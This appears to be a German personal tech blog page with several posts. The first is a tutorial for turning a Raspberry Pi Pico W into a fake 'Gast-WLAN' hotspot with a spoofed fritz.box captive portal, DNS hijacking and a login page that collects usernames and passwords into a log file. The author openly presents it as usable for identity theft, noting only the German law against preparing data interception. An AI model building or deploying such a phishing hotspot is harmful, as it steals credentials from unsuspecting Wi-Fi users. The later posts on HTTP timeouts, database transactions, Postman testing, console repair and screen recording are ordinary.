Freitag, 5. Januar 2024

Raspberry Pi Pico - WLAN und Webserver Bibliothek "phew"

Der Raspberry Pi Pico W kostet nur ca. 10 Euro und ist somit viel günstiger als der normale Raspberry Pi oder Raspberry Pi Zero. Der Pico arbeitet mit einem RP2040 Mikrocontroller (ARM Cortex M0+ mit bis zu 133 MHz Taktfrequenz als CPU, 264 kByte RAM und 2 MByte Flash-Speicher).

In diesem Beitrag werde ich zeigen, wie man einen WLAN-Hotspot einrichtet und per Webserver eine Webseite bzw. eine Hotspot Anmeldewebseite (Captive Portal) ausliefert. Diese kann nun zum Identitätsdiebstahl dienen.


MicroPython installieren

MicroPython steht auf der folgenden Webseite https://micropython.org/download/RPI_PICO_W/ zum Download bereit.

Nach dem Download muss die UF2-Datei auf den Pico geladen werden. Hierfür muss die Boot-Selektor-Taste (BootSEL) gedrückt gehalten werden und der Pico per USB-Kabel mit dem Rechner verbunden werden.
Die Taste BootSEL kann jetzt losgelassen werden, der Pico wird jetzt als Massenspeicher RPI-RP2 erkannt und die Firmwaredatei kann kopiert werden.

Nach dem kopieren der Firmware-Datei, wird diese sofort installiert und es wird ein Reset durchgeführt (der Massenspeicher wird nicht mehr angezeigt).

Die Programmierung kann anschließend mit der Entwicklungsumgebung Thonny erfolgen.

Unter Linux (in meinem Fall das Steam Deck) ist folgendes zu beachten:
(deck@steamdeck Tools)$ ls -l /dev/ttyACM1
crw-rw---- 1 root uucp 166, 1 Jan  2 20:08 /dev/ttyACM1
(deck@steamdeck Tools)$ sudo usermod -a -G uucp deck


Siehe auch https://support.arduino.cc/hc/en-us/articles/360016495679-Fix-port-access-on-Linux.

"phew" Bibliothek (WLAN- und Webserver) installieren

Das aktuelle Release von "phew" unter https://github.com/pimoroni/phew/releases herunterladen und mit Hilfe von Thonny auf den Pico übertragen.


Jetzt lässt sich "phew" wie jede andere Bibliothek einbinden.

Hotspot-Popup (Captive-Portal) programmieren

Wir beginnen mit der main.py . Hier gibt es Abschnitte mit den Kommentaren „#Android Redirects“, „#Apple Redir“ und „#Microsoft Windows Redirects“. In diesen Abschnitten werden die jeweiligen Tests behandelt, die jedes Betriebssystem ausführt um auf ein Captive Portal zu reagieren.

#!/usr/bin/python
# coding=utf-8
# Captive Portal with a Raspberry Pi Pico W
# (c) Sebastian Hemel, www.shemel.de
# Based on picockpit.com/raspberry-pi/raspberry-pi-pico-w-captive-portal-hotspot-access-point-pop-up/
#-----------------------------------------------------------------------------------

from phew import access_point, logging, server, dns
from phew.template import render_template
from os import stat

# This is the address that is shown on the Captive Portal
DOMAIN = "fritz.box" #pico.wireless
# Change this to whatever Wifi SSID you wish
SSID = "Gast-WLAN" #Pico W Captive
HTDOCS = "htdocs"

#How to trigger the pop-up
@server.route("/hotspot-detect.html", methods=["GET"])     # apple redir
@server.route("/generate_204", methods=["GET"])            # android redirects
@server.route("/redirect", methods=["GET"])
def hotspot(request):
    logging.info("redirecting hotspot request " + request.path)
    return server.redirect(f"http://{DOMAIN}/", 302)

@server.route("/ncsi.txt", methods=["GET"])                # microsoft windows redirects
@server.route("/connecttest.txt", methods=["GET"])
def hotspot(request):
    return "", 200

@server.route("/", methods=['GET'])
def index(request):
    logging.info("route/ retrieving index.html")
    logging.info("Got data: " + request.query_string)
    return render_template(HTDOCS + "/index.html")

@server.route("route/data.html", methods=["GET"])
def hotspot(request):
    logging.info("/data.html retrieving index.html")
    logging.info("Got data: " + request.query_string)
    return render_template(HTDOCS + "/index.html")

@server.route("/log.txt", methods=["GET"])
def hotspot(request):
    return render_template("log.txt")

@server.catchall()
def catch_all(request):
    try:
        print("***************CATCHALL***********************\n" + str(request))
        stat(HTDOCS + request.path)
        return render_template(HTDOCS + request.path)
    except OSError:
        return "Not found:" + request.path, 404

# Set to Accesspoint mode
ap = access_point(SSID)
ip = ap.ifconfig()[0]
# Grab the IP address and store it
logging.info(f"starting DNS server on {ip}")
# Catch all (DNS server) requests and reroute them
dns.run_catchall(ip)
# Run the server
server.run()
logging.info("Webserver Started")


Im nächsten Schritt benötigen wir eine index.html , hierbei handelt es sich um eine einfache "Proof-of-Concept-Datei". Diese gibt sich als "Captive Portal" aus und fordert den User auf seine Zugangsdaten einzugeben.

     

<!DOCTYPE html>
<html lang="de">
    <head>
        <meta charset="UTF-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <title>Pico W Captive Portal</title>
      </head>
      <body>
        <h1>Willkommen beim Captive Portal</h1>
     
        <h2>Login</h2>
           <form id="login-form">
              <p>
            <input type="text" name="username" id="username-field" class="login-form-field" placeholder="Benutzername">
            </p>
              <p>
            <input type="password" name="password" id="password-field" class="login-form-field" placeholder="Passwort">
            </p>
            <input type="submit" value="Absenden" id="login-form-submit" onclick="validate()">
        </form>
       
<script>
    function validate(){
        var username = document.getElementById("username-field").value;
        var password = document.getElementById("password-field").value;
        if (username && password){
            alert ("Login erfolgreich!");
            window.location = "index.html?username="+username+"&password="+password; // Redirecting to other page.
            return false;
        }
        else{
            alert("Bitte geben Sie Ihre Zugangsdaten ein!");
            return false;
        }
    }   
</script>
       
    </body>
</html>

Diese werden durch das Python Script jedoch in eine log.txt gespeichert ;-) .

Hinweis: Bitte beachtet hier den § 202c Vorbereiten des Ausspähens und Abfangens von Daten!

Dienstag, 7. November 2023

Internet - Verbindungszeitlimit für HTTP-Anfragen (connection timeout during http request)

Es gibt viele Formen von Zeitüberschreitungen bei HTTP-Anfragen. Diese sind das Verbindungszeitlimit, das Anforderungszeitlimit oder das Time to Live Zeitlimit. In diesem Beitrag werde ich diese drei Formen näher beschreiben und Möglichkeiten aufzeigen, um diese "timeouts" per Browsereinstellungen hinauszuzögern.


Verbindungszeitlimit (connection timeout)

Zeitraum, innerhalb dessen eine Verbindung zwischen einem Client und einem Server hergestellt werden muss.

Beispiel: Man navigiert mit dem Browser (Client) zu einer Website (Server). Der Browser beginnt nun auf die Antwortnachricht von diesem Server zu warten. Diese Antwort trifft beim Client aber nie ein (z. B. weil der Server offline ist). Nach 250 Sekunden (Firefox), gibt der Browser das Warten auf (connection timeout).

Die Einstellung kann mit Hilfe von about:config angepasst werden:

  • network.http.connection-retry-timeout

Anforderungszeitüberschreitung (request timeout)

Zeitraum, in dem der Server nicht bereit war, zu lange auf die Antwort vom Client zu warten. Wurde die Verbindung zwischen Server und Client hergestellt, muss der Client den Server regelmäßig darüber informieren das die Verbindung noch besteht. Geschieht dies nicht, trennt der Server diese Verbindung. Siehe auch https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/408.

Die Einstellung kann mi Hilfe von about:config angepasst werden:

  • network.http.pipelining.read-timeout

 

Time to Live (time to live)

Beschreibt den angegebenen Wert eines Paket, wie lange das Paket in einem Netzwerk am Leben bleiben kann. In einem Netzwerk durchläuft ein Paket verschiedene Router, die sich auf dem Weg  zwischen dem Ursprung des Pakets und seinem Ziel befinden. Jedes Mal, wenn der Router das Paket erneut sendet, verringert er auch seinen TTL-Wert um 1. Wenn dieser Wert auf 0 fällt, sendet der Router das Paket nicht erneut, sondern verwirft es einfach, da das Paket nicht mehr leben soll. Hiermit soll eine Datenüberflutung des Netzwerks verhindert werden, da jedes Paket nur für eine begrenzte „Zeit“ darin verbleiben kann.

Die Einstellung kann mi Hilfe von about:config angepasst werden:

  • network.http.keep-alive.timeout

 

Samstag, 28. Oktober 2023

Datenbank - Warum Transaktionen?

In meinem Beitrag Überblick über Datenbankmanagementsysteme (DBMS) habe ich PostgreSQL im Zusammenhang mit dem Transaktionsverfahren erwähnt. Ich werde kurz erklären, für was Transaktionen im Datenbankumfeld hilfreich sind.


Transaktionen helfen dabei dass Änderungen vollständig und dauerhaft in der Datenbank gespeichert werden. Dies nennt man auch ACID-Kriterien.

Am Besten lässt sich dies mit einem Beispiel aus dem Bankensektor beschreiben "Es soll eine Überweisung von einem Konto auf ein anderes durchgeführt werden":

  1. Es wird der Kontostand des einen Kontos um 100 Euro vermindert und soll durch das Programm  später auf dem anderen Konto erhöht werden.
  2. Es kommt zu einem Fehler und der Server stürzt genau während dieser Aktion ab.
  3. In diesem Fall muss der komplette Vorgang zurück abgewickelt werden, damit keine fehlerhaften Daten in der Datenbank verbleiben.

Die einzelnen Punkte in dem Programm müssen eine TRANSACTION gehüllt werden. Gibt es am Ende  keine Probleme führt man zum Ende den COMMIT Befehl aus. Somit wird sichergestellt, dass immer nur alles oder nichts geändert. Bei Problemen kommt es zu einem ROLLBACK.


Datenbank - Überblick über Datenbankmanagementsysteme (DBMS)

Nach einem Datenbank Artikel zum Thema Universally Unique Identifier (UUID) als Primärschlüssel verwenden, möchte ich in diesem Beitrag einen kurzen Überblick über Datenbankmanagementsysteme (DBMS) geben.


Einen guten Überblick bekommt man durch die Webseite db-engines.com, sie stellt Bestenlisten bereit und berechnet die Popularität von Datenbanken anhand von Suchergebnissen.


Die Oracle-Datenbank, MySQL und Microsofts SQL Server sind die Top 3 der relationalen Datenbanken und sind die erste Wahl für viele Anwendungen.

Möchte man schnell einen ersten Prototypen entwickeln (ohne Administration einer Entwicklungsinstanz mit einer Datenbank hochzufahren), bietet sich zu SQLite an. Eine Bibliothek, die ein DBMS imitiert, aber keinen Serverdienst hochfährt. Die Daten liegen hier in in einer lokal gespeicherten Datei. Siehe auch mein Beitrag SQLite - Import CSV File - existing or new table.

PostgreSQL ist auch eine relationale Datenbank, unterstützt zum Beispiel das Transaktionsverfahren und den Datentyp JSON. Die Daten werden im JSON-Format abgelegt und sind durchsuch- und manipulierbar (ohne reguläre Ausdrücke verwenden zu müssen). Auch bieten die Funkionen LISTEN und NOTIFY eine Event-Driven-Architecture.

Beim Thema NoSQL (schemalose dokumentengestützte Datenbanken) kommt oft MongoDB zum Einsatz. Für ein Objekt was gespeichert werden soll muss somit keine Tabelle mit Spalten und Datentypen angelegt werden. Gleiche oder ähnliche Datenobjekte speichert man hier in einer Collection.

Elasticsearch verwendet man, wenn man große Datenmengen mit viel Text durchsuchbar speichern möchte z.B. für eine Suchmaschine.


Sonntag, 22. Oktober 2023

(Retro) Spielekonsolen - Reperatur-, Demontage- und Installationsanleitungen

In zwei Beiträgen hatte ich beschrieben, wie man den Nintendo Gameboy Classic zerlegt, reinigt und eine Hintergrundbeleuchtung nachrüstet und wie man den internen Lautsprecher wechselt.


Mittlerweile bietet iFixit Demontage- und Installationsanleitungen für die meisten Spielekonsolen seit 1986 an:


Die Firma WOLFSOFT GmbH bietet verschiedene Umbauten und Reparaturen von Retro Hardware an:


Montag, 16. Oktober 2023

REST Webservice - Mittels Postman HTTP-APIs testen

HTTP-Schnittstellen (z.B. REST oder SOAP) werden in fast allen modernen Webanwendungen verwendet. So ist es möglich über eine API Datensätze zu erstellen (PUT), zu lesen (GET), zu ändern oder zu löschen (siehe auch HTTP Request Methods). Fehler in der API sollten mittels Tests (Unittests) schnell gefunden werden, da Fehlfunktion fatale Auswirkungen haben können. Zusätzlich bieten sich aber auch Integrationstests mit Hilfe von Postman an. Auf diese Funktion gehe ich kurz in diesem Artikel ein. Nur so kann sichergestellt werden, das eine Software wie erwartet funktioniert.


Mit Hilfe von Postman kann man die APIs bequem testen und gleichzeitig Funktionen für automatische Tests verwenden.

Der Download von Postman erfolgt unter https://www.postman.com .

Es muss natürlich eine öffentliche REST-API zur Verfügung stehen, ich verwende hier als Beispiel https://www.predic8.de/rest-beispiel.htm, ein Projekt der predic8 GmbH an .

Hilfreich ist zudem die Postman-Dokumentation https://learning.postman.com/docs/introduction/overview/ .

Postman-Collection anlegen

GET https://api.predic8.de/shop/v2/products

Testen kann man jetzt den Request mit einem Klick auf "Send", jetzt wird eine Liste von  Produkten angezeigt.

GET https://api.predic8.de/shop/v2/products/13 => Einzelnes Produkt
GET https://api.predic8.de/shop/v2/vendors/3 => Einzelner Hersteller
GET https://api.predic8.de/shop/v2/orders/4 => Eine Bestellung
POST https://api.predic8.de/shop/products/ => Anlegen eines Produkt

Beispiel Response

{
    "meta": {
        "count": 19,
        "start": 1,
        "limit": 10,
        "next_link": "/shop/v2/products?start=11&limit=10"
    },
    "products": [
        {
            "id": 19,
            "name": "Grapes2,",
            "self_link": "/shop/v2/products/19"
        },
        {
            "id": 18,
            "name": "Grapes1,",
            "self_link": "/shop/v2/products/18"
        },
...
    ]
}

Mit Postman wurde die jeweiligen Endpunkte der API aufgerufen und es gab auch eine Antwort (Response) vom Server, aber ist dies jetzt auch die Antwort welche man erwartet hat?

Integrationstests mit Postman

Beim Aufruf von GET products wird ein Test hinterlegt (Prüfung Statuscode = 200).

  • Tab "Tests" anklicken
  • JavaScript Code hinzufügen (Postman zeigt im rechten Bereich bereits einige Vorschläge an)


pm.test("Status code is 200", function () {
    pm.response.to.have.status(200);
});

Diese Methode lässt sich einfach erweitern unnd mann den HTTP Status inkl. der zurückgegebenen Daten mit den zu erwarteten Werten abgleichen. 

Auch lassen sich Tests der einzelnen Endpunkte umsetzen und so eine "Reise" eines User nachbauen. Der folgende Test nimmt die ID des Response-Body eines neu angelegten products und schreibt diese in die Variable productId.

const body = JSON.parse(responseBody); pm.collectionVariables.set("productId", body.id);

In den nachfolgenden Requests, kann man diese Variable jetzt mit doppelt geschweiften Klammern verwenden /products/{{productId}} .


Quelle: https://stackoverflow.com/a/58325002

Samstag, 14. Oktober 2023

Windows - Screenrecorder / Bildschirmvideos aufnehmen

Für die einfache Aufnahme von Bildschirmvideos (Screenrecording) gibt es Open-Source- und  Freeware-Programme (wie z.B. CamStudio). Oft ist aber eine Bildschirmaufnahme mit Standardtools und Bordmitteln möglich, welche ich in diesem Beitrag kurz beschreibe. Zum Bearbeiten, siehe auch Windows 11 - Videos bearbeiten / Video Editor.


Windows (ab Version 10) Xbox Game Bar

Das Hilfsprogramm lässt sich einfach mit "Windows-Taste+G)" aufrufen. Es macht Screenshots und zeichnet Videos auf. Über eine Kontrollleiste lässt sich die Aufzeichnung stoppen, die MP4-Datei liegt im Videoverzeichnis des jeweiligen Benutzers.

  • Windows+Alt+Drucken => erstellt einen Screenshot
  • Windows+Alt+R => startet oder beendet die Aufnahme
  • Windows+ Alt+M => Mikrofoneingang aufnehmen

 

Windows 11 Snipping Tool

Mann kann zwischen Screenshot und Video wechseln, danach kann man einen Rahmen aufziehen und als MP4-Datei ablegen. Ton kann nicht mit aufgezeichnet werden! 


VLC Media Player

Auch hier kann das Monitorbild aufgenommen werden, diese Funktion lässt sich im "Medien-Menü" auswählen.

  • Dialog => "Konvertieren/Speichern"
  • "Aufnahmegerät öffnen" => "Aufnahmequelle" => "Desktop"
  • Bildwiederholrate für die Aufnahme" auf "30 f/s" hochsetzen

Nach Klick auf "Konvertieren/Speichern" öffnet sich einen Dialog zum Speichern. Anschließend nur noch die "Start" anklicken.